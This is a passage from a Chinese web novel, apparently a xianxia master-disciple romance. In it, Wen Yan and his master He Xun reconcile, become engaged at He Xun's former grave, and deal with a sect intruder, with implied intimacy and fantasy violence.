让他别总是拿着烟斗。不过当时他正被对方的举动弄得心神不宁, 整个人都处于对人微妙的怨怼中, 那股反劲一上来,怎么可能会乖乖听话?早就把对方的话扔到不知道哪里去了。 “看样子记得很清楚啊。”贺峋轻笑一声, 不紧不慢地把人罪名又往上抬了一级,“明知故犯?” 闻厌秉持着多说多错的原则,继续一言不发,眼神刚往一边偏去,抵在下颌处的烟杆便往上一抬,让此刻他不得不正视着对方的眼睛。 闻厌喉结上下滚动,两种截然相反回答会招来的后果在他心中快速权衡,最终开口道:“没有。” 贺峋挑了挑眉。 ……真是个小骗子。 不过今日是能有特例的,小徒弟刚坦明心意,那么乖,那么惹人心动,就算有些不听话还喜欢不老实地抵赖,也让人生不起气来。 贺峋好心地决定再给人一次机会。 他把挑着人下巴的烟管收回来,细长的烟杆被他夹在指尖转了圈,存在感强烈得让人无法忽视,落在闻厌眼中,完完全全是一种人赃并获的意思。 “那这是什么?万绍没告诉你冰月草不能总是用吗?” 闻厌当然知道,可是过去的十年已经让他养成了习惯,一旦闲下来的时候,没了那股清苦的味道就总觉得像少了些什么。 只不过闻厌觉得这个理由听起来不太能够让人满意,于是他估摸着在贺峋那里明面上能过得去的理由,放软了声音道:“头疼。” 不论是真是假,每次他喊疼的时候贺峋大概率都不会为难他了,闻厌主动抬手抱住了贺峋的脖颈,果不其然,对方也伸手揽住了他的腰。闻厌觉得到这种程度的示弱应该差不多了,准备给这场突如其来的诘问画上尾声。 这个念头刚起,头顶就传来一声轻笑。 “厌厌,你疼不疼难道为师会不知道吗?” 僵住。 他最近确实不会头疼了,但对方是怎么知道的? 闻厌在心里闪过某种预感,似乎在他不知道的时候对方悄悄做了些什么,但此刻不是深思的时候,他一听这个语气就知道自己说错话,僵硬了一瞬,毫无负担地当机立断改口:“我错了。” 对着捉摸不透的师尊,说我错了就和吃饭喝水一样简单,贺峋也早已经习惯了自己徒弟毫无诚意的认错,脸上神情没多大变化。 闻厌又亲了亲眼前人的下巴,见贺峋仍旧微笑着看着他,却没有任何触动,投下来的目光晦暗难明,这才感觉事情可能要糟。 果不其然,下一瞬,身体就腾空而起,竟是直接被人单手一抄抱了起来,闻厌吓了一大跳,连忙紧紧搂住了对方的脖子。 只见贺峋拿着他烟斗的那只手凭空画了几笔,两人身侧的空间顿时传来一阵无形的波动,闻厌顿时认出了对方竟然直接开了传送法阵,立马被其背后潜藏着的意味弄得头皮发麻。 传送法阵开启一次损耗的法力不少,有什么事情是要人专程离开这里做的? ……闻厌不用动脑子都能想得到。 所以他连忙空出一只手来并指一划,另一道魔气就紧随其后打在了贺峋尚未完成的法阵上。 法术相撞,顿时在广云宗的山门旁炸起一阵尘土飞扬,幸好此时大部分修士都在山上的正殿中收拾残局,不然准会惊恐地以为这两位祖宗改了主意又要对仙门下手了。 贺峋简直大开眼界,从未发现自己徒弟竟有如此胆量。 他好气又好笑,偏要继续被打断的传送阵,闻厌自然不肯,短短一会儿功夫就僵持了好几回。 贺峋干脆直接屈腿一顶把人抵在檐柱上,腾出空来制住徒弟不断作乱的手,闻厌坐在对方的大腿上,靠勾着人脖子的手维持住摇摇欲坠的平衡,和人以一种极其复杂扭曲的姿势纠缠在一起。 但不管怎么说,贺峋总算让自己闹腾得不行的徒弟暂时空不出手来捣乱了,他刚这样想着,下一瞬就眼角一跳。 只见闻厌直接松开了勾着他的手,拼着摔个头晕眼花也坚决不让人在此时离开,贺峋当然没可能看着这种事情发生,被逼得只能转而去扶住徒弟的腰。 最后还是遂了闻厌的意,没有走成,两人双双跌坐在亭子的坐靠中。 于是贺峋继被人强行抓着手后,又被人结结实实地砸了一身,气笑了:“做什么?” 亭中坐靠都是木制的,又冷又硬,闻厌跌进去的时候,膝盖在上面磕了一下,顿时疼得皱起眉嘶了一声。 他就着此前半挂在对方怀中的姿势跪坐在人身上,悄悄伸手去揉磕疼了的膝盖,眉眼一耷拉,仿佛整了这一出的人不是他一样,非常委曲求全地再次小声道:“师尊我错了。” “……” 徒弟坏事做尽后再委屈巴巴地认错,贺峋早已经对这种不为所动了,哼笑一声道:“小骗子是没有求情的余地的。” 闻厌就搭着人肩膀凑上前去亲那人淡薄的嘴唇,动作小心翼翼的,好像被吓到了一般,看起来格外可怜。 然后看着贺峋的唇角又往上扬了几分细微的弧度,接着被人抓着腰拎进了怀中,修长有力的手指覆上了膝盖骨揉了揉。 闻厌便眯起眼睛笑,故意耷拉下来的眉眼露出几分计谋得逞的神采飞扬:“师……唔!” 后颈猝不及防被人按住了,方才一触即分的亲吻被人重新续上加深,唇齿厮磨都带上淡淡的血腥味。 闻厌有些被对方的态度弄晕了,一会儿好像正生着气,一会儿又和逗他玩似的。 按在后颈上的手捏了捏,似乎在提醒他不要走神。 亲了许久也不见停下来的趋势,闻厌又觉得有些晕了,拍了拍贺峋的后背让人把自己放开。 结果毫无悬念的没有反应。 闻厌又忍了会儿,在感受到有什么撩开自己外袍往里钻的时候彻底坐不住了,挣开压在后颈上的手要直起身,对方搭在自己腰上的手就往下一用力,让他只能不尴不尬地停在了中间。 很快闻厌就意识到自己刚才做了个非常错误的决定。 跪起来后他就比坐着的贺峋要高,低头和人亲吻时就被按着不得不塌下腰,似乎更方便了对方尽情动手动脚。 眼看他劳心费力才打断传送阵法的意图要被换一种形式上演,闻厌呜呜嗯嗯了好几声来表示抗议,换来的就是对方在他唇上又用力咬了一下。 眼眶周围有些发红,闻厌越过贺峋的肩膀,看到了引发现在这一切的罪魁祸首——他那柄烟斗正静静地躺在贺峋旁边的位置上。 闻厌顿时恶向胆边生,伸手要拿烟斗给人当头一棒,指尖才碰到烟杆上冰凉的墨玉,大腿根就被人狠狠掐了一把。 “嘶——你掐我!” 闻厌霎时被疼得眼泛泪花,简直出离愤怒。 对方难得的粗暴对待让他气急败坏,忍让宣告结束,掐着贺峋脖子强行结束了这个看不到尽头的吻,怒道:“你到底想怎样?没完没了了?!” “不就这次没听你的吗?至于那么生气吗?!”闻厌气血上头,什么话都往外冒,就差指着贺峋鼻子破口大骂,“我这样又不是一天两天了,十年前就这样了!多来一两天又死不了,你十年前又不管,现在端什么师尊的架子?!” 他的胸口剧烈起伏着,低头对贺峋怒目而视。 还是怨的。 无意识地脱口而出后,他才发现自己对人十年前那晚还是怨气未消。 虽然现在他已经逐渐明白过来对方的意图,但十年间的后悔辗转和苦苦思念也是真的。 但如果没有这一出,两人还会那么快发展成如今的关系吗? 闻厌不知道,他直觉可能不会,然而这也不足以完全抵挡十年间每个冰冷彻骨的夜晚一点点积累起来的对这人的怨恨。 矛盾纠缠着,就如他们间的感情注定分不出个谁亏欠谁。 他看进贺峋的眼睛中,却发现对方此刻的神情竟然像是柔和的,无条件地包容他所有的情感宣泄。 一开始还逼着他认错的人此时竟道:“嗯,怪我,让你一个人过了十年。” 闻厌身形一顿,手上的力度不自觉松了,眼眶周围的红意瞬间迅速蔓延。他咬着唇,湿红的眼睛死死地盯着对方那张让自己又爱又恨的脸。 贺峋抬手摸了摸他的脑袋:“在这件事情上你想怎么怨我都可以,想骂也好想打也行,只要能让你好受些,都随你。” 这几乎是出现在贺峋身上最柔和的语气了,深不见底的黑色眼瞳中首次是纯然的温和安抚,没有隐藏在温柔后的毛骨悚然。 他就用这种眼神摸了摸徒弟的眼尾,轻声道:“好啦,别哭。” 闻厌真正因为情绪而落泪的时候,动静其实是非常小的,晶莹剔透的泪水从眼尾滑落,只有这倏忽一瞬才会让人惊觉眼前人原来哭了,然后就神色如常,再无一丝端倪。 但在贺峋面前还是有些不同的,本来收敛起来的水汽被人一说,又在眼底聚集,然后化为第二滴泪落了下来。 贺峋先是按了按徒弟的唇瓣,让人松开已经无意识被他自己咬得发白的嘴唇,然后去抹人眼下的水汽。 “厌厌。”他轻声叫着人的名字,语调似叹息,“为师不在的时候你也会总是哭吗?” 其实并不会。 很多事情似乎都是在这人面前才悄然发生的改变。 他遇上贺峋之前,几乎从未真正意义上的哭过。他可以眼也不眨地瞬间落泪,任凭眼泪在脚边积起一个小小的水洼,可是当泪水滑过脸颊,在旁人瞬间有些软化怜惜的目光中,他的心里却是毫无波澜的一潭死水。 是笑还是哭他其实并不在意,就像他也不在意某种程度上自己姓名中浸透的淡淡恶意,当没了期望中的价值,便只得了一个“厌”字了事。 可当年复一年地被眼前人唤着,他还是会留意起自己的名字来,觉得好像也还挺好听。因为对方的语调太过温柔而缱绻了,带着笑的嗓音轻轻吐出这两个叠音时,似乎比所有的情话都要动人。 不过闻厌是必不可能如此轻易承认的,他轻轻哼了一声,看人的目光依旧居高临下:“谁哭了?” 贺峋纵容地笑了笑,仰头亲了下他的鼻尖:“没有人哭,是我看错了。” 他把旁边的烟斗拿起来放回徒弟手中。 闻厌有些惊讶,睁大了眼睛看他。 他现在其实已经不需要靠这个来压着旧疾发作时的头疼了,还继续留在手中不过是这十年间养成的习惯还没改过来。既然带来的只有单纯的负面影响,按照贺峋此前的态度,他还以为对方会强硬地直接没收。 “为师又不是什么不通情达理的人。”贺峋这样对他笑着道。 “习惯难改,这很正常,归根到底这也是为师引起的,自然要担起责任。为师保证,你一定不会再头疼。”贺峋说到最后,还是没有克制住自己的坏心眼,意味深长地笑道,“但如果下次又被我发现,其他地方会不会疼就说不准了。” 第55章 闻厌就知道, 相信这人会温柔,还不如相信明天仙门那群人统统跑来魔域修魔来得实在。 他现在无比唾弃当时的自己,竟然还感动了一瞬。 在又一次因为不小心摸了下烟斗就被拖上床后, 闻厌麻木地想,还不如头疼呢。 起码不会先是被亲得嘴巴疼,然后再弄去床上, 变得浑身都疼。 尤其这人还喜欢借题发挥,似乎这样就能够理直气壮地实施他那些恶趣味了,每次被按着弄到精神恍惚时, 闻厌都会怀疑这人前面说的是不是都是假的,实际上记仇得很,早就在找机会把他弄死在床上。 偏偏这人整日还一副无所事事的样子,就喜欢盯着他折腾。广云宗出了事,万绍便回兰城去了,闻厌和人一起回了山海楼,眼睁睁地看着对方乱晃了好几天, 才因为逐渐临近的归元之会忙了起来。 届时魔域各门派都会有人来山海楼, 而这次因为贺峋的回归,气氛透着几分微妙,有不少事情需要贺峋定夺,清晨的时候闻厌模模糊糊感觉到身旁有轻微的响动,应该是对方一早就出去了, 直到日头高照也不见踪影。 “楼主。” 他推开寝殿的时候, 有侍从见他出来向他行礼, 这让闻厌的感觉有些微妙。 他回来后发现楼中仍有不少熟悉的面孔——是他在这十年间一手提拔上来的, 完全听从于他的势力,不是那些贺峋还在时就经常会与他为难的刺头。 背后的意味让他禁不住深思。 在他设想中, 还以为迎来的会是变相的圈养,最好的情况也是像以前两人在山海楼中的位置一样。 毕竟以那人的作风,怕是恨不得直接把他拴在身边,日日看着,隔绝外人所有可能的窥视。 而就算如此,他大概也是不会反抗的。 至少现在不会。 一路上都没有碰到贺峋,随便拉住一个碰到的侍从问了下。 “啊,楼主。”对方在楼中的时间不短,清楚这对师徒间的恩怨纠葛,所以现在的情势更让他有些战战兢兢。 贺峋治理楼中上下时就一向是说一不二的,后来闻厌掌权,又把他师尊的手腕学了个七八成。以前的时候还好,十年过去后,羽翼渐丰的徒弟遇上突然回来了的师尊,怎么看都透着将要发生一番争锋的意味。 侍从斟酌了一会儿,才小心观察着他的脸色道:“贺楼主在信阁,楼主是要过去吗?是否需要属下通报一二?” 语气小心翼翼,似乎怕这个称呼会让他不悦。 “不必了。”闻厌道。 他独自拐进了一条僻静的小路,一直通向山海楼后面的山崖,那里还留着他一开始给某个人立的墓碑。 闻厌在碑前蹲下身,伸手一寸寸拂过自己亲手刻下的碑文。 石碑和肌肤接触时触感冰凉,某些时候会让闻厌联想到那人偏低的体温,在过去的十年间,这让闻厌来这里的次数不算少。 可不同的是,对方的怀抱是柔软的,只有在这时,于后知后觉从心脏蔓延上来的钝痛中,闻厌才会一次又一次地意识到自己有多么想念某个已故之人的触碰。 不过现在贺峋已经活生生地出现在身边了,再立着碑好像有些不吉利。虽然闻厌一向自诩没那么多讲究,但他一想到这个还是控制不住地心里梗着不舒服,抽空就打算来把这里推倒了。 闻厌刚要收回手,身后就覆上来一个熟悉的怀抱,贺峋的嗓音随后在他耳边响起:“回去后没找到你,原来跑这来了。” “嗯?”贺峋抬眼就看到了眼前的墓碑,似觉得有趣。 “先师贺峋……”贺峋毫不避讳地读自己墓碑上的刻字,笑起来,“有人嘴上说着不认为师,背地里还是很诚实啊。” 贺峋握着徒弟还没收回来的手,把人带着转了个身,面对面拥进怀中。 他低下头和人亲昵地蹭了蹭鼻尖,弯起眼睛道:“那么乖?” 闻厌下意识地往旁偏开了目光,有些微妙的难为情,可是整个人都被对方堵在墓碑前,严丝合缝地环在怀中,走也走不了。 闻厌要把人推开再附上一句别自作多情,可是转头就看到自己刻下的笔画,自己都觉得非常没有说服力。 伸到中途的手便不尴不尬地停了下来,顺理成章地落到了贺峋的掌中,对方心情愉悦地捏了捏他的掌骨两侧,眼中浮现出细碎的笑意。 闻厌的目光情不自禁就粘附在上面了,像是夜间看到了灯火的飞虫,嘴角也无意识地扬了扬。 看着看着,发现有哪里不对劲,接着才注意到贺峋身上的外袍,和自己身上这件纹样相近,不过尺寸小了些,幸好本来就是宽松的款式,穿在这人身上倒也不会显得很紧。 ……怪不得他今早出寝殿的时候觉得哪里有些怪怪的,原来是和人穿错衣服了。 闻厌就着这个发现,垫着厚重的外袍舒舒服服地坐了下来,仰头睨贺峋一眼,哼笑一声:“是啊,有人禽兽不如,自己的徒弟都能下得去手。” 贺峋先是看着他笑,然后喊冤:“厌厌,虽然我不是什么好人,但你说得我也太不知廉耻了。” 闻厌递给他一个眼神,准备看人能怎么狡辩。 继而就听贺峋说第一次是他主动的。 “不可能!”闻厌矢口否认。 闻厌第一反应是这人又信口胡说,直到记忆闪回一瞬,他看着眼前人近在咫尺的唇瓣,记起了自己弱冠那年的生辰礼。 就在距离此地几步远,那晚漫天的花树摇曳中,混乱的战栗与兴奋下,他出于自己也说不清楚的感情吻上了对方的嘴唇。 “……这也算吗?” “怎么不算?”贺峋垂着眼看他,用一种好像他是什么玩弄别人感情的负心汉语调,“厌厌这也要赖账吗?” 闻厌敏锐地指出:“那你回应得也太快了,我不信你没动心思。” 贺峋失笑:“在这些事情上就看得那么透,真是……” “不许转移话题。” “好吧,被你发现了。”贺峋认输,无奈地笑。 闻厌露出了个你看我果然没说错的表情。 “说起来,那晚之后,就一直缺了个东西,我感觉还是需要补上的。”贺峋道。 身后就是他默默相对了近十年的墓碑,而碑上刻着的那道名姓却在自己身前落成了半跪于身前的人影。 闻厌靠着冷硬的石碑,对方修长有力的手指牵起了他的手,温度微凉,而又沉稳有力,肌肤相触时在心底撩起微小的火花。 贺峋专注而虔诚地在他手背落下一吻,山风恰在此时穿过,拂过眼前人身侧时渐渐慢了下来,轻撩起两人的衣角,缠绵地纠葛在一起。 贺峋抬眼,黑沉的眸中敛着细碎的光,于此刻对闻厌有着不可忽视的吸引力。他道:“我爱你,厌厌。你愿意一直留在我身边吗?” 闻厌的眉梢微动,良久之后轻轻地笑了一声,反手一拽贺峋,仰起头咬上了对方的嘴唇。 贺峋撑在闻厌上方,另一只手捧住身下人的侧脸,配合地低下头和人接吻。 亲吻的间隙,贺峋一抬眼就能和自己的名字大眼瞪小眼,感觉有趣,从喉咙深处发出含糊的笑声。 闻厌不用看就知道对方在笑什么。 他莫名觉得自己此刻像是被十年前的贺峋和十年后的贺峋一起包围了。 激烈的气息纠缠暂歇,闻厌的呼吸比平常急促不少,清亮的眼中欲念交融,嗓音在细微地发着颤。 不过闻厌口中却是道:“师尊,这问题您早就问过了。” 贺峋只是笑着看着他。 闻厌就道:“真看不出来,您竟然是会纠结于这种问题的人。难道您没有把握留住我吗?” “这可不像您的作风,真神奇。” 贺峋还是看着他但笑不语。 “好吧。其实我想说的是……”闻厌放弃抵抗般笑了出来,抬手摸了摸对方被自己咬出血色的唇角,说道,“我愿意。” …… 闻厌准备把墓碑推倒前最后看了一会儿。 贺峋就并肩站在他身旁,和他一起看着自己的墓碑。 闻厌本以为自己面对此情此景还会有些感慨,一看到站在身边的人就有些撑不住了,肃穆的神情不过一秒,就控制不住地笑倒了在贺峋的肩上。 “太奇怪了。”他在笑声的间隙中对贺峋道,“师尊,上面好歹是您的名字,你站在前面就像来给自己上坟一样。” 贺峋笑道:“难道不是吗?” “不过说真的,一定要撤了吗?”贺峋的眼中闪着跃跃欲试的光,“其实我们也可以顺便在下头修个墓室,如果在寝殿待腻了,我们还可以来这里小住一会儿。” “……您老人家的癖好真是越来越奇怪了。”闻厌敬谢不敏,生怕晚了一步这人真会产生什么想法,再无任何犹疑。 石碑在两人面前化为齑粉,被风轻轻一吹就四处飘散了,一如沉甸甸压在他心头的往事。 闻厌的目光追随着风远去的方向,然后听到贺峋问他:“厌厌,为什么另一块灵牌上没有落任何称呼呢?” 闻厌被问得一愣。 他好像没有细想过这个问题。 另一块灵牌是他心血来潮时的产物,从削了块牌子再到准备把它立到供桌上去的过程都很顺利,唯独最后临门一笔犯了难。 他本来是打算和崖顶边的这块墓碑称谓一致的,但落笔那瞬,心中总有些隐隐的不满足。 他觉得这样不太准确。 贺峋是他师尊没错,虽然这人喜怒不定、淡薄无情、满肚子坏水、行事作风经常让人毛骨悚然………但一直以来闻厌从未否定过对方的这一身份。 他的一招一试、行事作风,乃至思维方式都已经深深地打上了对方的烙印,此生都无法割弃。 如果抛开各种关系,有人问怎么看贺峋,闻厌大概会跟对方说,他是个好师尊。 可是这个他本以为会非常牢固的定位却在这人消失的十年间不断被拷问,酿成他很长一段时间中都读不懂的情绪,最后让他思量许久,都无法落笔。 是的,其实他早就已经不满于此了,在自己都没有察觉的时候。 贺峋没有等着他的回答,闻厌莫名感觉这人在看到这块灵牌的第一眼就已经明白了答案。 所以闻厌不答反问:“那师尊觉得如果没在一起,我们现在会是怎样?师尊会把我杀了吗?” “厌厌,你一天到晚都在想什么?”贺峋叹气,“我又不是奔着这个把你带回来的。我一开始真的是在给自己找徒弟,又不是找道侣。” “如果没在一起……”贺峋拉长了调子,似在思考,最后促狭道,“厌厌,你肯定也不老实。” “肯定又琢磨着怎么和为师作对,三天两头搞些小动作,要是哪天实在气不过了,说不准会把你扔地牢里关一阵。” 闻厌很煞风景地冒出来问了句:“师尊,这关地牢是正经的关地牢吗?” 贺峋示意人别突然捣乱。 他故意用阴恻恻的语调道:“必须把地牢里所有大刑都给你上一遍,再饿你个十天半月的,看你还敢不敢再犯。” 闻厌那么怕疼,听着却没太大波动,似乎潜意识里完全无法把这些遭遇联系到自己身上。 “……好吧。”就见贺峋笑着摇摇头,“光是想想,还是舍不得。” 贺峋最后说他其实想象不出两人不在一起会是什么样子。 闻厌说真巧,其实他也是。 所以他们注定相爱。 【正文完】 第56章 “广云宗的消息传过来了?”闻厌坐在信阁的书案后, 看桌面上已经被贺峋整理过的文书。 赵无为经仙门各派公审后被处死,但当时出现了个小插曲,也一并记载到了送往山海楼的情报中。 段婉清出现了。 赵无为受刑时不住地拼命挣扎, 剧烈的疼痛似乎激发了他的潜力,又或者他从未真正心服口服地认过罪,在还剩最后一口气的时候, 竟真的被他挣脱开了一瞬,监刑的两个弟子没有防备,也被他所伤, 差点丢了性命。 当时先于所有人来到赵无为面前的是段婉清。 段婉清仍旧神情木然。 魂魄残缺不全的人不会有过多自己的思想,可她却在法事进行到一半的时候突然离开,直接往赵无为这边走来。几位负责法事的修士大感意外,追在她身后,试图劝人回去,不要误了重入轮回的时辰。 赵无为愣了一下,突然爆发出一阵大笑, 在浑身是血的情况下, 看起来狰狞又吓人。 “婉清,我就知道你没有怪过我,你也是理解我的,对不对?”赵无为痴痴地笑着,往前扑, 想抓段婉清的手, 口中神经质地道, “婉清, 还是你好,你对我真好……” 话音戛然而止, 周围赶着过来制服赵无为的修士也停下了脚步,爆发出一阵失声惊叫。 只见一柄匕首插进了赵无为的胸口,不偏不倚。 赵无为瞪大了双眼,错愕地看着黑红污浊的血液自胸前涌出,在极度的不可置信中缓缓倒下了。 死不瞑目。 段婉清一直没有表情的脸上竟挣扎着露出了一个笑容,像是属于她本人的灵魂短暂地完整归位了一瞬,完成了一直没有完成的事情。 “厌厌,这和你有关系。”贺峋站在书案前,隔着一张桌子垂眸看自己徒弟,用笃定的语调道,“那日从广云宗离开前,你做了什么?” 闻厌放下手中的文书,弯了弯眼眸,但又不像是纯然的笑意,轻描淡写道:“与我没多大关系,我只是让她能够暂时神魂归位罢了。” 他只是觉得……身死之后,还要被罪魁祸首恬不知耻地一遍遍诉说无辜和想念,实在让人恶心。 闻厌轻轻一笑,很快岔开了话题。 “明日来山海楼的人那么多吗?”在关于广云宗的消息下,放着的就是明日归元之会的信报。 贺峋接过他刚看完的文书,放进已经整理好了的那一摞,“嗯”了一声:“我让他们都必须前来。” 闻厌意外地挑了挑眉:“有情况?” 贺峋一笑,卖关子似的,就是没有明说。 神神秘秘的,也不知道在盘算着什么,想来魔域中的其他人应该就是被这吓得不轻,这几日山海楼的会客厅就没有空过,满是想来一探口风的魔修。 不过全部无功而返。 贺峋谁都没见,慢悠悠地和自己徒弟腻在一处,别提过得多惬意了。 闻厌好奇心起,偏偏贺峋就是不松口,被他缠着问了好一会儿也不为所动,还装模作样地整理着一团乱的文书,一本正经地让他不要添乱。 闻厌眼神都要把人瞪穿了也无事发生。 “好啦,明日就你就知道了。”贺峋还是他这种眼神中放下了手中的东西,戳了下徒弟的额头,“倒是这信阁被你弄得乱七八糟的,有多久没有收拾过了?” 闻厌瞬间被戳漏了气,不吱声了。 贺峋低笑一声,直接越过桌案把他腾空拉了过来。 对方突如其来的动作让闻厌一惊,他靠在桌沿直面贺峋,眸中满是警惕:“干什么?师尊,你什么时候变得那么小心眼了,这也要生气?” 贺峋俯身,闻厌只能一手撑着臀后的桌面后仰和人拉开距离。 贺峋的手覆上了他的手背,分明的骨节把他的手拢住,微凉指尖慢慢挤进他的指缝,和他的手交叠在一起。 空间有限,无论他怎样意图往后躲,熟悉的气息仍旧毫不讲理地把他环绕。 闻厌眼眸一转,主动凑上前去啄了下贺峋的唇角。他刻意放软了嗓音,下颌微抬,乌黑的眼眸中盛着柔软的光,浓密的眼睫颤了颤,小声对人喊疼。 “下次好不好?还疼,不想做。” 贺峋似笑非笑地看着他,两人目光交错,在越发暧昧的氛围中无声僵持着。 最后贺峋先收回了手。 闻厌得意地扬了扬眉梢。 “下次?”贺峋征求道,“怎样都行?” 闻厌迟疑了一会儿,秉持着明日事明日操心的原则,忍痛点了点头。 贺峋满意地笑了。 闻厌也很满意,为自己机智地逃过一劫,所以在贺峋要伸手抱他的时候没有拒绝。 推开信阁的门,山海楼已经被笼罩在了一片夜色中,贺峋直接抱着他往回寝殿的方向走。 夜色昏暗,他们并不引人注意,偶有提着灯的侍从经过,先是一惊,便立马识趣地低下头站在一旁,不敢多看。 晚风清爽凉快,尤其是这样没有要紧事的时候,和人慢悠悠走回去的路程也变得格外惬意。 闻厌在贺峋的臂弯中晃了晃腿,舒服地眯着眼,有些昏昏欲睡。 直到听见贺峋的一声低笑。 身体条件反射地警觉起来,每当对方露出这种的笑容都没什么好事。 果然,下一瞬就听贺峋道:“厌厌,那么多次了,你找借口的能力怎么还不过关。” 闻厌头上缓缓冒出一个问号。 “我还不知道你吗?要真的疼早就闹起来了,哪会一整日都没点动静。”贺峋道,“下次至少找些不会让我第一时间就发现你在胡扯的理由啊。” “……什么?”闻厌难以置信。 然后他就猛地意识到自己被坑了。 他现在回想起对方最后那讨他一个承诺的问句,再结合一路顺着他的话的表现,这才反应过来对方从一开始就没有这种打算,反而是他被诈得赔了夫人又折兵。 “……” “厌厌,可不能玩不起哦。”贺峋笑眯眯的,把他不久前说的话原封不动地还给了他。 闻厌被气得牙痒痒,揽着对方脖子的手一使力,就攀上去恶狠狠地咬了贺峋的颈侧一口。 “嘶——”贺峋把人掐着脸移开,“还真咬啊?” 闻厌哼了一声,愤愤地偏头叼过贺峋掐着他的指节磨了磨牙。 贺峋好气又好笑地道:“不带这么耍赖的啊。” 回应他的是虎口又被人挑衅地咬了一口。 下一瞬闻厌就被人单手抱着颠了颠,随时会摔下去的感觉让他瞬间紧张起来,连忙双手抱紧了对方的脖子。 听到头顶传来的轻笑声,闻厌气闷道:“师尊你也太小气了吧!” 转眼已经拐进寝殿的大门,贺峋把人往门边的墙上一按,理直气壮道他就是小气,能怎么样? ……闻厌不能怎样,就连扑腾都像是被拎着后颈提起来的猫,没有任何实际作用。 博弈再次以贺峋心满意足地将自己珍爱的猎物收入囊中结束。 贺峋爱不释手摸了摸徒弟乌黑柔顺的发丝,低头正要吻上眼前人的唇瓣,突然神情一凛,面对闻厌时的玩笑神情刹那如潮水般退去,周身威压往四周扩散,气势渗人无比。 “谁?” 山海楼的楼主寝殿很大,加上平日也没谁有胆子靠近,除了特殊情况外,外围并没有设下结界。 在闻厌和贺峋两人共同的注视中,有道身影颤颤巍巍地从角落爬了出来。 “贺、贺楼主,闻楼主……”那人被吓得结结巴巴的,说都说不利索,努力扬起一个笑容,可讪笑挂在脸上,却比哭还难看。 闻厌上下打量了这人一番。 面容清秀,衣着稀少,在月黑风高时摸进别人寝殿,什么目的昭然若揭。 而更荒谬的是,这场景闻厌并不陌生,在他刚上任的时候就遇见过一轮了。 所以他很快速就道:“万宝宫的人?” 语气肯定。 那人哆哆嗦嗦地应是。 还没等闻厌逼问,那人就倒豆子似的全都说了:“是宫主命我来的,以前万宝宫对山海楼多有冒犯,宫主特命我来赔罪,求明日的归元之会上两位高抬贵手,放过万宝宫……” 闻厌听笑了:“你们宫主真是昏了头了,这种馊主意都想得出。” 闻厌走到那人面前,居高临下地垂下眼,好整以暇道:“那你这次要来找谁?” 那人飞快地抬头看了站在面前的两人一眼,接着迅速低下头去,支支吾吾着,一句话也不敢说。 他来之前,他们宫主就已经交代得很清楚了,之前同样的招数已经在这位闻小魔君身上试过,毫无用处,所以这次目标明确地直指贺峋。 他趁着将要举行归元之会,山海楼守卫稍有松懈的空档,废了九牛二虎之力混了进来,又好不容易摸到楼主的寝殿……然后发现根本进不去! 对付其他魔修的手段在这两位山海楼楼主身上都神奇地失效了,他百思不得其解……直到他看到举止亲密的两人。 恍然大悟。 他觉得自己无论指谁都没有好下场,对面两人落在他身上的目光如出一辙阴沉得吓人,偏偏还要不约而同地微扬着嘴角,皮笑肉不笑的模样让人恨不得下一瞬就与世长辞。 “不说吗?”闻厌刚问了句,那人就被吓得一抖,连忙指向了贺峋。 闻厌的眼神瞬间冷得冰窖一般。 那人顿时毫不怀疑自己将要命丧于此。 闻厌却是笑了一声,虽然不含任何温度,接着在对方惊恐万状的神情中道:“我以前就已经和王宏志说过,再有下次,他这宫主的位置也坐到头了。” 闻厌没看到的是,在他这句话一出,身后的贺峋眼神也微妙地冷了下来。 然而在他们面前的万宝宫魔修却看得清清楚楚,浑身都发起抖来。万念俱灰之际,却是听得闻厌轻飘飘地扔了个滚字给他,错愕地瞪大了眼睛。 他如获新生,又壮起胆子飞快地看了一眼贺峋的神情,并没有阻止之意,连忙感恩戴德地跑了。 那人的身影刚消失在视线中,闻厌就伸手把身旁的贺峋拽了过来。 他面色不善,漂亮的五官阴沉得能滴出水来,和方才一路被贺峋抱着回来的模样判若两人,靠坐在身后的窗台上,眯起眼上上下下地把人扫视了一遍,有种发现所有物被人觊觎的极度不悦感。 闻厌道:“今日是谁值守?后半旬最难的任务都让他去。” 贺峋“嗯”了一声,赞同道:“我同意。” 但没有人动,两人都知道现在最让人在意的不是这件事情。 闻厌拽着贺峋外袍的手又加了些力,让对方离自己更近了些,然后接着道:“我不想再看到万宝宫了。” 从他上任以来就一直和苍蝇似的,尤其是宫主王宏志,好色之心人尽皆知,瞎了一只眼还贼心不死,别以为他没发现每次见到这人时对方那暗中打量的目光。要是这也就罢了,他不屑理会,可是偏偏…… 闻厌的眼神落在贺峋的脸上,此刻一种从未有过的烦躁完全占据了他的心头,隐晦地压在他平静的外表下。 话语中轻描淡写的杀意完完整整地传到了贺峋耳中,却奇异地让那双黑沉眼眸中的阴霾散去不少。 “明天那么多人看着呢,直接动手吗?”贺峋口中说着,可语气中听不出任何反对的意思。 “我讨厌别人动我的东西。”闻厌阴恻恻地道。 贺峋弯起眼眸,应了声好。 他浮于表面的反对只存在不到一刻,就彻底消散在夜色中。 闻厌终于脸色稍缓,满意地翘了翘嘴角,直起身想要吻一下眼前人的唇角。 可是他刚凑上去,对方就往后拉开了一点距离,像是恰好和人错了个空,于是闻厌又往前凑一点……再次扑了个空。 他不满地盯着那点近在咫尺的距离,终于发现了对方故意为之的坏心思。 他一把拽下了贺峋的衣领,不耐地强行打破对方空出来的间隙,要仰头吻上去,可被贺峋抬手按住了肩膀。 贺峋一手还背在身后,姿态随意,仿佛没接收到徒弟有些急躁的不快神情,开口问道:“厌厌方才说的……以前是什么意思?” 闻厌一愣,后知后觉地意识到引发对方此刻不悦的原因是什么,重新打量了贺峋一眼,这才发现隐藏在这人云淡风轻外表下的暗流涌动。 这让他控制不住地笑了起来,有种掰回一局的快感。 他能敏锐地感知到对方话语间对过去十年发生的事情的在意……不过这又能如何? 这人自找的。 活该。 所以他故意道:“师尊想知道?您自己回去看呀。” 明里暗里都在表达对他的不满,阴阳怪气得过分。 “厌厌。”贺峋把他的名字在唇齿间嚼了又嚼,投下来的眼神又深又沉,但并没有被他激得失态,只是轻飘飘地道,“我不信你的品味会变得如此糟糕。” 闻厌哼了一声,嘴上不饶人:“这可难说。” “不过确实有很多不长眼的围着你转,让人看了就心生不快。” 贺峋一条条翻起了旧账:“你那副使,有次见你睡着了,手都快伸到你脸上去,还有你之前去崖顶的时候,竟然还带着别人的外袍……” 贺峋说起这些的时候都没有停顿,流畅无比,一看就是在心里翻来覆去斤斤计较了无数回。 